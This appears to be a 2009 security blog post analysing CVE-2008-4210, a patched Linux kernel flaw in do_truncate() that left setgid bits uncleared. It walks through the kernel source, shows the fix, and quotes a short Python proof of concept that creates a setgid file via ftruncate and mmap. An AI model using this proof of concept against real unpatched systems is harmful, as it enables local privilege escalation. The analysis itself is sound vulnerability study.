xorl %eax, %eax

CVE-2008-4210: do_truncate() Local Privilege Escalation

leave a comment »

Who can forget this cute little vulnerability? It was reported on May of 2007 by David Watson. It is a design flaw that affects the Linux kernel up to 2.6.22-rc1 release. The problem was that set group identity (setgid) bit was not being cleared on unprivileged users when creating or opening specially crafted files. The following code has been taken from Linux kernel 2.6.21 release. Vulnerability is located at fs/open.c at function do_truncate(). Let’s have a quick review of this function..

197 int do_truncate(struct dentry *dentry, loff_t length, unsigned int time_attrs,
198        struct file *filp)
199 {
200        int err;
201        struct iattr newattrs;

Nothing new apart the iattr structure, which is part of include/linux/fs.h API and it is used to store i-node attributes. The function continues like this:

202
203        /* Not pretty: "inode->i_size" shouldn't really be signed. But it is. */
204        if (length < 0)
205                return -EINVAL;
206

Just a simple check for integer underflows on length parameter, and continues like this:

207        newattrs.ia_size = length;
208        newattrs.ia_valid = ATTR_SIZE | time_attrs;

It updates the i-node size and validation flag of the iattr structure which was described briefly earlier. Next, it does this:

209        if (filp) {
210                newattrs.ia_file = filp;
211                newattrs.ia_valid |= ATTR_FILE;
212        }

If a file structure is given which means filp is not NULL, then include this to the i-node attributes and update the validation flag. Following…

214        mutex_lock(&dentry->d_inode->i_mutex);
215        err = notify_change(dentry, &newattrs);

Create a MUTEX lock to avoid any race conditions and update the dentry record of the filesystem with the new i-node attributes using notify_change() routine. And at last:

216        mutex_unlock(&dentry->d_inode->i_mutex);
217        return err;
218 }
219

Unlock the MUTEX and finally return whatever notify_change() returned. As you can see the setgid bit is never being processed by any means. This was patched by Linus Torvalds simply by adding these two lines:

        }

+       /* Remove suid/sgid on truncate too */
+       newattrs.ia_valid |= should_remove_suid(dentry);
+
        mutex_lock(&dentry->d_inode->i_mutex);

Where should_remove_suid() is located at mm/filemap.c and it is used to remove privileges if suid/sgid/xgrp are set. So.. how can you exploit this?
The first PoC was written by D. Watson himself on Python and it simply uses ftruncate() to reach the vulnerable code on a setgid binary like this:

#!/usr/bin/env python

import os
import mmap

bin = file("/usr/bin/id").read()

fd = os.open("id", os.O_RDWR | os.O_CREAT | os.O_EXCL, 02750)
os.ftruncate(fd, len(bin))

m = mmap.mmap(fd, len(bin))
m[:] = bin
m.flush()

A second PoC was later been released by gat3way. This uses the exact same logic as Watson’s Python script but it spawns a shell with group ID of root, to do this it uses shells that don’t drop their privileges like ash or sash. Of course, using a simple wrapper around bash you can improve it to spawn a bash shell but nothing really exciting.

Written by xorl

January 22, 2009 at 17:03

Posted in bugs, linux

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s